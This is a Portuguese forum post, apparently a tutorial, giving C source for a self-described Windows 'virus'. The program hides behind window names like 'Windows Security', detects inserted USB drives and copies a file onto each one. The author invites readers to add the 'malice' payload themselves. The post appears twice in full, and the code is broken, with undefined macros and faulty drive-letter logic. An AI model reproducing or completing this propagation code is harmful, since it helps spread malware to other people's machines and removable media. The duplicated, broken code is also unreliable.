Introdução:
Irei demonstra a criação de um vírus simples para Windows. Este vírus detecta quando um pendrive é inserido e se copia para ele. Deixei a parte pontencialmente perigosa de fora. Mas você pode fazê-la facilmente.
Vamos ao código(desculpem a falta de identação, o forum não possui <TAB>):
Esta parte do código vai no arquivo main.c:
Irei comentar as partes mais importantes apenas...
#include <windows.h>
#include "pendrive.c"
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
char szClassName[ ] = "Windows Service Provider";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd;
MSG messages;
WNDCLASSEX wincl;
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
RegisterClassEx(&wincl);
hwnd = CreateWindowEx(
0,
szClassName,
"Windows Security",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
300,
300,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
while (GetMessage (&messages, NULL, 0, 0))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
return messages.wParam;
}
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
// Esta é a parte mais importante.
// Toda vez que um pendrive for conectado vai ser chamada a função
\\CopyToPendrive(char path[]).
case WM_DEVICECHANGE:
if (wParam == DBT_DEVICEARRIVAL) {
char RootPath[4] = "A:\\"; //toma a primeira unidade como ponto de partida
int i;
if (((DEV_BROADCAST_HDR *) lParam)->dbch_devicetype == DBT_DEVTYP_VOLUME) {
DWORD Mask = ((DEV_BROADCAST_VOLUME *) lParam)->dbcv_unitmask;
for (i=0;i< 32; ++i) {
if (Mask & (1 << i)) {
RootPath[0] += i; //incrementa letra da unidade para encontrar a ultima.
}
}
CopyToPendrive(RootPath); //chama a função
}
}
break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
Fim do arquivo main.c ...
Esta parte do código vai no arquivo pendrive.c:
#define PATH_ARQUIVO "ondesEstáSeuArquivo.???"
#define NOME_DO_ARQUIVO
int CopyToPendrive(char path[]){
char path_to[255];
lstrcpy(path_to,path);
lstrcat(path_to,ARQUIVO);
CopyFile(PATH_DO_ARQUIVO, path_to, FALSE);
}
Pronto. AI está.
Para tornar este virus funcional falta só a "maldade"...
Abraço.
Irei demonstra a criação de um vírus simples para Windows. Este vírus detecta quando um pendrive é inserido e se copia para ele. Deixei a parte pontencialmente perigosa de fora. Mas você pode fazê-la facilmente.
Vamos ao código(desculpem a falta de identação, o forum não possui <TAB>):
Esta parte do código vai no arquivo main.c:
Irei comentar as partes mais importantes apenas...
#include <windows.h>
#include "pendrive.c"
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
char szClassName[ ] = "Windows Service Provider";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd;
MSG messages;
WNDCLASSEX wincl;
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure;
wincl.style = CS_DBLCLKS;
wincl.cbSize = sizeof (WNDCLASSEX);
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
RegisterClassEx(&wincl);
hwnd = CreateWindowEx(
0,
szClassName,
"Windows Security",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
300,
300,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);
while (GetMessage (&messages, NULL, 0, 0))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
return messages.wParam;
}
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
// Esta é a parte mais importante.
// Toda vez que um pendrive for conectado vai ser chamada a função
\\CopyToPendrive(char path[]).
case WM_DEVICECHANGE:
if (wParam == DBT_DEVICEARRIVAL) {
char RootPath[4] = "A:\\"; //toma a primeira unidade como ponto de partida
int i;
if (((DEV_BROADCAST_HDR *) lParam)->dbch_devicetype == DBT_DEVTYP_VOLUME) {
DWORD Mask = ((DEV_BROADCAST_VOLUME *) lParam)->dbcv_unitmask;
for (i=0;i< 32; ++i) {
if (Mask & (1 << i)) {
RootPath[0] += i; //incrementa letra da unidade para encontrar a ultima.
}
}
CopyToPendrive(RootPath); //chama a função
}
}
break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
Fim do arquivo main.c ...
Esta parte do código vai no arquivo pendrive.c:
#define PATH_ARQUIVO "ondesEstáSeuArquivo.???"
#define NOME_DO_ARQUIVO
int CopyToPendrive(char path[]){
char path_to[255];
lstrcpy(path_to,path);
lstrcat(path_to,ARQUIVO);
CopyFile(PATH_DO_ARQUIVO, path_to, FALSE);
}
Pronto. AI está.
Para tornar este virus funcional falta só a "maldade"...
Abraço.